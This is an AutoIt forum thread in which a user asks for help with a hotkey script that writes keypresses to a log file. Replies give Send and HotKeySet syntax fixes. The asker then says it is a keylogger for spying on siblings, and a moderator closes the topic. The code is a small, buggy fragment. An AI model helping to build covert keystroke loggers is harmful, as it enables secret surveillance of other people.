Jump to content
Sign in to follow this  
Glyph

Trouble sending a " {LSHIFT} "

Recommended Posts

#Include <process.au3>
Dim $log = ""

HotKeySet ( "{LSHIFT}1" , "_lshi" )

HotKeySet ( "!^{esc}" , "quit"             )

While 1
sleep(365*24*60*60*1000)
WEnd

Func quit()
exit
endfunc

Func _lshi()
HotKeySet ( "{LSHIFT}1")
Send("{LSHIFT}1")
$log = $log & "{LSHIFT}"1)
HotKeySet ( "{LSHIFT}1") , "_lshi" )
EndFunc

Func OnAutoItExit()
$file = FileOpen("log.ini", 1)
FileWrite($file, $log)
FileClose($file)
EndFunc

why wont it put "!" in the log?!?

Share this post


Link to post
Share on other sites

why wont it put "!" in the log?!?

... because you have specified to Hit shift and then Hit 1 ... (Not keep any of the keys pressed down)


SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource        Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

so.. How so i get it to keep key press down?

{LSHIFT down}1

???, i'm kinda new with this sorry!

Helpfile is a nice thing to look for these ;)

Send("{SHIFTDOWN}1{SHIFTUP}")

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource        Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

Ok, so now i have this...

-snip-

Just... i'm pretty sure im using this wrong, correct me if i'm wrong!

You are right!

Edited by JdeB

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource        Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

.... Ok, well it does not work... so i'm lost!

Did you try to read the helpfile yet ?

HotKeySet("+1", "_Lshi")

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource        Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

Hey, Secure.. are you by any chance " Raylu" ?

It's being used for a keylogger, I don't trust anyone on MY computer, i have reason to beleive my siblings have logged on.. so i created a solution!

I now have proof!

haha, I didn't realize " + " was shift... I read the readme!!!

Share this post


Link to post
Share on other sites

Hey, Secure.. are you by any chance " Raylu" ?

It's being used for a keylogger, I don't trust anyone on MY computer, i have reason to beleive my siblings have logged on.. so i created a solution!

I now have proof!

haha, I didn't realize " + " was shift... I read the readme!!!

I knew this was coming ... ** Click *** Edited by JdeB

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource        Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.
Sign in to follow this  

×
×
  • Create New...